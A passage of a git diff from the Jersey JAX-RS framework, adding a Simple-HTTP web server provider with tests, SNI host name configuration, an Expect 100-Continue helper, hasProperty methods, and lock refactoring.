+ return WebServerProvider.isSupportedWebServer(SimpleHttpServer.class, type, configuration)
+ ? type.cast(new SimpleHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
+ : null;
+ }
+
+ @Override
+ public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
+ final SeBootstrap.Configuration configuration) {
+ return WebServerProvider.isSupportedWebServer(SimpleHttpServer.class, type, configuration)
+ ? type.cast(new SimpleHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
+ : null;
+ }
+}
diff --git a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java
index 02aec75..7560c52 100644
--- a/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java
+++ b/containers/simple-http/src/main/java/org/glassfish/jersey/simple/SimpleServer.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2014, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,6 +17,7 @@
package org.glassfish.jersey.simple;
import java.io.Closeable;
+import java.io.IOException;
/**
* Simple server facade providing convenient methods to obtain info about the server (i.e. port).
@@ -26,6 +27,8 @@
*/
public interface SimpleServer extends Closeable {
+ public void start() throws IOException;
+
/**
* The port the server is listening to for incomming HTTP connections. If the port is not
* specified the {@link org.glassfish.jersey.server.spi.Container.DEFAULT_PORT} is used.
diff --git a/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
new file mode 100644
index 0000000..54d8c53
--- /dev/null
+++ b/containers/simple-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.simple.SimpleHttpServerProvider
\ No newline at end of file
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java
index 3543e50..81c8601 100644
--- a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java
+++ b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/AbstractSimpleServerTester.java
@@ -50,21 +50,25 @@
* @return The HTTP port of the URI
*/
protected final int getPort() {
+ if (server != null) {
+ return server.getPort();
+ }
+
final String value = AccessController
.doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
if (value != null) {
try {
final int i = Integer.parseInt(value);
- if (i <= 0) {
- throw new NumberFormatException("Value not positive.");
+ if (i < 0) {
+ throw new NumberFormatException("Value is negative.");
}
return i;
} catch (NumberFormatException e) {
LOGGER.log(
Level.CONFIG,
"Value of 'jersey.config.test.container.port'"
- + " property is not a valid positive integer [" + value + "]."
+ + " property is not a valid non-negative integer [" + value + "]."
+ " Reverting to default [" + DEFAULT_PORT + "].",
e);
}
@@ -94,28 +98,28 @@
config.register(LoggingFeature.class);
final URI baseUri = getBaseUri();
server = SimpleContainerFactory.create(baseUri, config);
- LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + baseUri.getHost() + ":" + server.getPort());
+ LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
}
public void startServerNoLoggingFilter(Class... resources) {
ResourceConfig config = new ResourceConfig(resources);
final URI baseUri = getBaseUri();
server = SimpleContainerFactory.create(baseUri, config);
- LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + baseUri.getHost() + ":" + server.getPort());
+ LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
}
public void startServer(ResourceConfig config) {
final URI baseUri = getBaseUri();
config.register(LoggingFeature.class);
server = SimpleContainerFactory.create(baseUri, config);
- LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + baseUri.getHost() + ":" + server.getPort());
+ LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
}
public void startServer(ResourceConfig config, int count, int select) {
final URI baseUri = getBaseUri();
config.register(LoggingFeature.class);
server = SimpleContainerFactory.create(baseUri, config, count, select);
- LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + baseUri);
+ LOGGER.log(Level.INFO, "Simple-http server started on base uri: " + getBaseUri());
}
public URI getBaseUri() {
diff --git a/containers/simple-http/src/test/java/org/glassfish/jersey/simple/SimpleHttpServerProviderTest.java b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/SimpleHttpServerProviderTest.java
new file mode 100644
index 0000000..7c6f01b
--- /dev/null
+++ b/containers/simple-http/src/test/java/org/glassfish/jersey/simple/SimpleHttpServerProviderTest.java
@@ -0,0 +1,195 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.simple;
+
+import static java.lang.Boolean.FALSE;
+import static java.lang.Boolean.TRUE;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+import static org.hamcrest.Matchers.instanceOf;
+
+import java.security.AccessController;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.net.ssl.SSLContext;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Timeout;
+
+/**
+ * Unit tests for {@link SimpleHttpServerProvider}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class SimpleHttpServerProviderTest {
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public void shouldProvideServer2() throws InterruptedException, ExecutionException {
+ // given
+ final Resource resource = new Resource();
+ shouldProvideServer(ShouldProvideServerApplication.class, resource);
+ }
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
+ // given
+ final Resource resource = new Resource();
+ final Application application = new ShouldProvideServerApplication();
+ shouldProvideServer(application.getClass(), resource);
+ }
+
+ private void shouldProvideServer(final Object application, final Resource resource)
+ throws InterruptedException, ExecutionException {
+ // given
+ final WebServerProvider webServerProvider = new SimpleHttpServerProvider();
+ final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE);
+
+ // when
+ final WebServer webServer = Application.class.isInstance(application)
+ ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
+ : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
+ final Object nativeHandle = webServer.unwrap(Object.class);
+ final CompletionStage<?> start = webServer.start();
+ final Object startResult = start.toCompletableFuture().get();
+ final Container container = webServer.container();
+ final int port = webServer.port();
+ final String entity = ClientBuilder.newClient()
+ .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
+ .get(String.class);
+ final CompletionStage<?> stop = webServer.stop();
+ final Object stopResult = stop.toCompletableFuture().get();
+
+ // then
+ assertThat(webServer, is(instanceOf(SimpleHttpServer.class)));
+ assertThat(nativeHandle, is(instanceOf(SimpleServer.class)));
+ assertThat(startResult, is(nullValue()));
+ assertThat(container, is(instanceOf(SimpleContainer.class)));
+ assertThat(port, is(greaterThan(0)));
+ assertThat(entity, is(resource.toString()));
+ assertThat(stopResult, is(nullValue()));
+ }
+
+ @Path("/")
+ protected static final class Resource {
+ @GET
+ @Override
+ public String toString() {
+ return Resource.class.getName();
+ }
+ }
+
+ protected static class ShouldProvideServerApplication extends Application {
+ @Override
+ public Set<Object> getSingletons() {
+ return Collections.singleton(new Resource());
+ }
+ }
+
+ private static final Logger LOGGER = Logger.getLogger(SimpleHttpServerProviderTest.class.getName());
+
+ private static final int DEFAULT_PORT = 0;
+
+ private static final int getPort() {
+ final String value = AccessController
+ .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+ if (value != null) {
+ try {
+ final int i = Integer.parseInt(value);
+ if (i < 0) {
+ throw new NumberFormatException("Value is negative.");
+ }
+ return i;
+ } catch (final NumberFormatException e) {
+ LOGGER.log(Level.CONFIG,
+ "Value of 'jersey.config.test.container.port'"
+ + " property is not a valid non-negative integer [" + value + "]."
+ + " Reverting to default [" + DEFAULT_PORT + "].",
+ e);
+ }
+ }
+
+ return DEFAULT_PORT;
+ }
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
+ // given
+ final WebServerProvider webServerProvider = new SimpleHttpServerProvider();
+ final Application application = new Application();
+ final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE);
+
+ // when
+ final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
+
+ // then
+ assertThat(webServer.port(), is(greaterThan(0)));
+ }
+
+ private SeBootstrap.Configuration configuration(int port, boolean autoStart) {
+ return (SeBootstrap.Configuration) name -> {
+ switch (name) {
+ case SeBootstrap.Configuration.PROTOCOL:
+ return "HTTP";
+ case SeBootstrap.Configuration.HOST:
+ return "localhost";
+ case SeBootstrap.Configuration.PORT:
+ return port;
+ case SeBootstrap.Configuration.ROOT_PATH:
+ return "/";
+ case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
+ return SSLClientAuthentication.NONE;
+ case SeBootstrap.Configuration.SSL_CONTEXT:
+ try {
+ return SSLContext.getDefault();
+ } catch (final NoSuchAlgorithmException e) {
+ throw new RuntimeException(e);
+ }
+ case ServerProperties.WEBSERVER_AUTO_START:
+ return autoStart;
+ default:
+ return null;
+ }
+ };
+ }
+
+}
diff --git a/core-client/pom.xml b/core-client/pom.xml
index fefc684..ae453c7 100644
--- a/core-client/pom.xml
+++ b/core-client/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.core</groupId>
@@ -120,8 +120,8 @@
<dependency>
<!-- not to warn about missing activation -->
- <groupId>com.sun.activation</groupId>
- <artifactId>jakarta.activation</artifactId>
+ <groupId>org.eclipse.angus</groupId>
+ <artifactId>angus-activation</artifactId>
<scope>test</scope>
</dependency>
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
index 4dca460..b072c1d 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientConfig.java
@@ -331,6 +331,11 @@
}
@Override
+ public boolean hasProperty(final String name) {
+ return commonConfig.getConfiguration().hasProperty(name);
+ }
+
+ @Override
public Object getProperty(final String name) {
return commonConfig.getConfiguration().getProperty(name);
}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java
index 64963c6..aa0676b 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientProperties.java
@@ -467,6 +467,24 @@
public static final String QUERY_PARAM_STYLE = "jersey.config.client.uri.query.param.style";
/**
+ * <p>
+ * Most connectors support HOST header value to be used as an SNIHostName. However, the HOST header is restricted in JDK.
+ * {@code HttpUrlConnector} and {@code JavaNetHttpConnector} need
+ * to have an extra System Property set to allow HOST header.
+ * As an option to HOST header, this property allows the HOST name to be pre-set on a Client and does not need to
+ * be set on each request.
+ * </p>
+ * <p>
+ * The value MUST be an instance of {@link java.lang.String}.
+ * </p>
+ * <p>
+ * The name of the configuration property is <tt>{@value}</tt>.
+ * </p>
+ * @since 3.1.2
+ */
+ public static final String SNI_HOST_NAME = "jersey.config.client.sniHostName";
+
+ /**
* Sets the {@link org.glassfish.jersey.client.spi.ConnectorProvider} class. Overrides the value from META-INF/services.
*
* <p>
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java b/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java
index fc21c02..9896c7a 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/ClientRequest.java
@@ -146,6 +146,11 @@
}
@Override
+ public boolean hasProperty(final String name) {
+ return propertiesDelegate.hasProperty(name);
+ }
+
+ @Override
public Object getProperty(final String name) {
return propertiesDelegate.getProperty(name);
}
@@ -236,9 +241,19 @@
return clientConfig;
}
+ /**
+ * Get the values of an HTTP request header if the header exists on the current request. The returned value will be
+ * a read-only List if the specified header exists or {@code null} if it does not. This is a shortcut for
+ * {@code getRequestHeaders().get(name)}.
+ *
+ * @param name the header name, case insensitive.
+ * @return a read-only list of header values if the specified header exists, otherwise {@code null}.
+ * @throws java.lang.IllegalStateException if called outside the scope of a request.
+ */
@Override
public List<String> getRequestHeader(String name) {
- return HeaderUtils.asStringList(getHeaders().get(name), clientConfig.getConfiguration());
+ final List<Object> values = getHeaders().get(name);
+ return values == null ? null : HeaderUtils.asStringList(values, clientConfig.getConfiguration());
}
@Override
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/Expect100ContinueUsage.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/Expect100ContinueUsage.java
new file mode 100644
index 0000000..7c45854
--- /dev/null
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/Expect100ContinueUsage.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.client.innate;
+
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientRequest;
+import org.glassfish.jersey.client.RequestEntityProcessing;
+
+/**
+ * Utility class to check whether it's possible to send the Expect header within request.
+ */
+public final class Expect100ContinueUsage {
+
+ private Expect100ContinueUsage() {
+ //do not instantiate
+ }
+
+ /**
+ * Checks if usage of the Expect header with 100-Continue value is allowed
+ *
+ * @param request client's request
+ * @param requestMethod method of the request (GET, POST, PUT etc).
+ * @return true if the Expect header is allowed.
+ */
+ public static boolean isAllowed(ClientRequest request, String requestMethod) {
+
+ long requestLength = request.getLengthLong();
+
+ final RequestEntityProcessing entityProcessing = request.resolveProperty(
+ ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.class);
+
+ final Boolean expectContinueActivated = request.resolveProperty(
+ ClientProperties.EXPECT_100_CONTINUE, Boolean.class);
+ final Long expectContinueSizeThreshold = request.resolveProperty(
+ ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE,
+ ClientProperties.DEFAULT_EXPECT_100_CONTINUE_THRESHOLD_SIZE);
+
+ final boolean allowStreaming = requestLength > expectContinueSizeThreshold
+ || entityProcessing == RequestEntityProcessing.CHUNKED;
+
+ return !(!Boolean.TRUE.equals(expectContinueActivated)
+ || !("POST".equals(requestMethod) || "PUT".equals(requestMethod))
+ || !allowStreaming
+ );
+ }
+}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java
index 33ef0b6..cb32a5c 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java
@@ -16,18 +16,25 @@
package org.glassfish.jersey.client.innate.http;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.HttpHeaders;
+import org.glassfish.jersey.client.ClientProperties;
import org.glassfish.jersey.client.ClientRequest;
import javax.net.ssl.SSLEngine;
import javax.net.ssl.SSLParameters;
import javax.net.ssl.SSLSocket;
import jakarta.ws.rs.core.UriBuilder;
+import org.glassfish.jersey.internal.PropertiesResolver;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+
import java.net.InetAddress;
import java.net.URI;
import java.net.UnknownHostException;
import java.util.List;
import java.util.Map;
import java.util.Optional;
+import java.util.Properties;
/**
* A unified routines to configure {@link SSLParameters}.
@@ -35,27 +42,36 @@
*/
public final class SSLParamConfigurator {
private final URI uri;
- private final Map<String, List<Object>> httpHeaders;
private final Optional<SniConfigurator> sniConfigurator;
/**
* Builder of the {@link SSLParamConfigurator} instance.
*/
public static final class Builder {
- private ClientRequest clientRequest;
- private URI uri;
- private Map<String, List<Object>> httpHeaders;
+ private URI uri = null;
+ private String sniHostNameHeader = null;
+ private String sniHostNameProperty = null;
private boolean setAlways = false;
/**
- * Sets the {@link ClientRequest} instance.
+ * Sets the SNIHostName and {@link URI} from the {@link ClientRequest} instance.
* @param clientRequest the {@link ClientRequest}
* @return the builder instance
*/
public Builder request(ClientRequest clientRequest) {
- this.clientRequest = clientRequest;
- this.httpHeaders = null;
- this.uri = null;
+ this.sniHostNameHeader = getSniHostNameHeader(clientRequest.getHeaders());
+ this.sniHostNameProperty = clientRequest.resolveProperty(ClientProperties.SNI_HOST_NAME, String.class);
+ this.uri = clientRequest.getUri();
+ return this;
+ }
+
+ /**
+ * Sets the SNIHostName from the {@link Configuration} instance.
+ * @param configuration the {@link Configuration}
+ * @return the builder instance
+ */
+ public Builder configuration(Configuration configuration) {
+ this.sniHostNameProperty = (String) configuration.getProperty(ClientProperties.SNI_HOST_NAME);
return this;
}
@@ -65,7 +81,6 @@
* @return the builder instance
*/
public Builder uri(URI uri) {
- this.clientRequest = null;
this.uri = uri;
return this;
}
@@ -76,8 +91,7 @@
* @return the builder instance
*/
public Builder headers(Map<String, List<Object>> httpHeaders) {
- this.clientRequest = null;
- this.httpHeaders = httpHeaders;
+ this.sniHostNameHeader = getSniHostNameHeader(httpHeaders);
return this;
}
@@ -99,12 +113,31 @@
public SSLParamConfigurator build() {
return new SSLParamConfigurator(this);
}
+
+ private static String getSniHostNameHeader(Map<String, List<Object>> httpHeaders) {
+ List<Object> hostHeaders = httpHeaders.get(HttpHeaders.HOST);
+ if (hostHeaders == null || hostHeaders.get(0) == null) {
+ return null;
+ }
+
+ final String hostHeader = hostHeaders.get(0).toString();
+ final String trimmedHeader;
+ if (hostHeader != null) {
+ int index = hostHeader.indexOf(':'); // RFC 7230 Host = uri-host [ ":" port ] ;
+ final String trimmedHeader0 = index != -1 ? hostHeader.substring(0, index).trim() : hostHeader.trim();
+ trimmedHeader = trimmedHeader0.isEmpty() ? hostHeader : trimmedHeader0;
+ } else {
+ trimmedHeader = null;
+ }
+
+ return trimmedHeader;
+ }
}
private SSLParamConfigurator(SSLParamConfigurator.Builder builder) {
- this.uri = builder.clientRequest != null ? builder.clientRequest.getUri() : builder.uri;
- this.httpHeaders = builder.clientRequest != null ? builder.clientRequest.getHeaders() : builder.httpHeaders;
- sniConfigurator = SniConfigurator.createWhenHostHeader(uri, httpHeaders, builder.setAlways);
+ String sniHostName = builder.sniHostNameHeader == null ? builder.sniHostNameProperty : builder.sniHostNameHeader;
+ uri = builder.uri;
+ sniConfigurator = SniConfigurator.createWhenHostHeader(uri, sniHostName, builder.setAlways);
}
/**
@@ -178,6 +211,15 @@
}
/**
+ * Set {@link javax.net.ssl.SNIServerName} for the {@link SSLParameters} when SNI should be used
+ * (i.e. {@link jakarta.ws.rs.core.HttpHeaders#HOST} differs from HTTP request host name)
+ * @param parameters the {@link SSLParameters} to be set
+ */
+ public void setSNIServerName(SSLParameters parameters) {
+ sniConfigurator.ifPresent(sni -> sni.updateSSLParameters(parameters));
+ }
+
+ /**
* Set setEndpointIdentificationAlgorithm to HTTPS. This is to prevent man-in-the-middle attacks.
* @param sslEngine the {@link SSLEngine} the algorithm is set for.
* @see SSLParameters#setEndpointIdentificationAlgorithm(String)
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java
index 596c587..9e766f5 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java
@@ -27,7 +27,6 @@
import java.net.URI;
import java.util.LinkedList;
import java.util.List;
-import java.util.Map;
import java.util.Optional;
import java.util.logging.Logger;
@@ -53,32 +52,24 @@
/**
* Create ClientSNI when {@link HttpHeaders#HOST} is set different from the request URI host (or {@code whenDiffer}.is false).
* @param hostUri the Uri of the HTTP request
- * @param headers the HttpHeaders
+ * @param sniHostName the SniHostName either from HttpHeaders or the
+ * {@link org.glassfish.jersey.client.ClientProperties#SNI_HOST_NAME} property from Configuration object.
* @param whenDiffer create {@SniConfigurator only when different from the request URI host}
* @return ClientSNI or empty when {@link HttpHeaders#HOST}
*/
- static Optional<SniConfigurator> createWhenHostHeader(URI hostUri, Map<String, List<Object>> headers, boolean whenDiffer) {
- List<Object> hostHeaders = headers.get(HttpHeaders.HOST);
- if (hostHeaders == null || hostHeaders.get(0) == null) {
+ static Optional<SniConfigurator> createWhenHostHeader(URI hostUri, String sniHostName, boolean whenDiffer) {
+ if (sniHostName == null) {
return Optional.empty();
}
- final String hostHeader = hostHeaders.get(0).toString();
- final String trimmedHeader;
- if (hostHeader != null) {
- int index = hostHeader.indexOf(':'); // RFC 7230 Host = uri-host [ ":" port ] ;
- final String trimmedHeader0 = index != -1 ? hostHeader.substring(0, index).trim() : hostHeader.trim();
- trimmedHeader = trimmedHeader0.isEmpty() ? hostHeader : trimmedHeader0;
- } else {
- return Optional.empty();
+ if (hostUri != null) {
+ final String hostUriString = hostUri.getHost();
+ if (!whenDiffer && hostUriString.equals(sniHostName)) {
+ return Optional.empty();
+ }
}
- final String hostUriString = hostUri.getHost();
- if (!whenDiffer && hostUriString.equals(trimmedHeader)) {
- return Optional.empty();
- }
-
- return Optional.of(new SniConfigurator(trimmedHeader));
+ return Optional.of(new SniConfigurator(sniHostName));
}
/**
@@ -103,7 +94,7 @@
LOGGER.fine(LocalizationMessages.SNI_ON_SSLSOCKET());
}
- private SSLParameters updateSSLParameters(SSLParameters sslParameters) {
+ SSLParameters updateSSLParameters(SSLParameters sslParameters) {
SNIHostName serverName = new SNIHostName(hostName);
List<SNIServerName> serverNames = new LinkedList<>();
serverNames.add(serverName);
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java
index 047bba8..3d07d3f 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -56,6 +56,7 @@
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
+import java.util.concurrent.locks.ReentrantLock;
import java.util.function.Supplier;
import java.util.logging.Level;
import java.util.logging.Logger;
@@ -92,18 +93,23 @@
private final MultivaluedMap<TYPE, InstanceContext<?>> singletonInstances = new MultivaluedHashMap<>();
private final ThreadLocal<MultivaluedMap<TYPE, InstanceContext<?>>> threadInstances = new ThreadLocal<>();
private final List<Object> threadPredestroyables = Collections.synchronizedList(new LinkedList<>());
+ private final ReentrantLock singletonInstancesLock = new ReentrantLock();
private <T> List<InstanceContext<?>> _getSingletons(TYPE clazz) {
List<InstanceContext<?>> si;
- synchronized (singletonInstances) {
+ singletonInstancesLock.lock();
+ try {
si = singletonInstances.get(clazz);
+ } finally {
+ singletonInstancesLock.unlock();
}
return si;
}
@SuppressWarnings("unchecked")
<T> T _addSingleton(TYPE clazz, T instance, Binding<?, ?> binding, Annotation[] qualifiers) {
- synchronized (singletonInstances) {
+ singletonInstancesLock.lock();
+ try {
// check existing singleton with a qualifier already created by another thread io a meantime
List<InstanceContext<?>> values = singletonInstances.get(clazz);
if (values != null) {
@@ -118,6 +124,8 @@
singletonInstances.add(clazz, new InstanceContext<>(instance, binding, qualifiers));
threadPredestroyables.add(instance);
return instance;
+ } finally {
+ singletonInstancesLock.unlock();
}
}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java
index 2e727eb..ad13830 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,7 @@
import org.glassfish.jersey.client.ClientProperties;
import org.glassfish.jersey.client.ClientRequest;
-import org.glassfish.jersey.client.RequestEntityProcessing;
+import org.glassfish.jersey.client.innate.Expect100ContinueUsage;
import java.io.IOException;
import java.net.HttpURLConnection;
@@ -32,26 +32,9 @@
@Override
public void invoke(ClientRequest request, HttpURLConnection uc) {
- final long length = request.getLengthLong();
- final RequestEntityProcessing entityProcessing = request.resolveProperty(
- ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.class);
-
- final Boolean expectContinueActivated = request.resolveProperty(
- ClientProperties.EXPECT_100_CONTINUE, Boolean.class);
- final Long expectContinueSizeThreshold = request.resolveProperty(
- ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE,
- ClientProperties.DEFAULT_EXPECT_100_CONTINUE_THRESHOLD_SIZE);
-
- final boolean allowStreaming = length > expectContinueSizeThreshold
- || entityProcessing == RequestEntityProcessing.CHUNKED;
-
- if (!Boolean.TRUE.equals(expectContinueActivated)
- || !("POST".equals(uc.getRequestMethod()) || "PUT".equals(uc.getRequestMethod()))
- || !allowStreaming
- ) {
- return;
+ if (Expect100ContinueUsage.isAllowed(request, uc.getRequestMethod())) {
+ uc.setRequestProperty("Expect", "100-Continue");
}
- uc.setRequestProperty("Expect", "100-Continue");
}
@Override
diff --git a/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java b/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java
index aaa88c9..d2ede28 100644
--- a/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java
+++ b/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java
@@ -105,6 +105,13 @@
}
@Test
+ public void testHasProperty() {
+ ClientConfig instance = new ClientConfig().property("name", "value");
+ assertTrue(instance.hasProperty("name"));
+ assertFalse(instance.hasProperty("other"));
+ }
+
+ @Test
public void testGetProperty() {
ClientConfig instance = new ClientConfig().property("name", "value");
assertEquals("value", instance.getProperty("name"));
diff --git a/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java b/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java
index a877f69..1f7de34 100644
--- a/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java
+++ b/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -93,6 +93,9 @@
assertFalse(request.getConfiguration().getPropertyNames().contains("name"));
assertFalse(request.getPropertyNames().contains("name"));
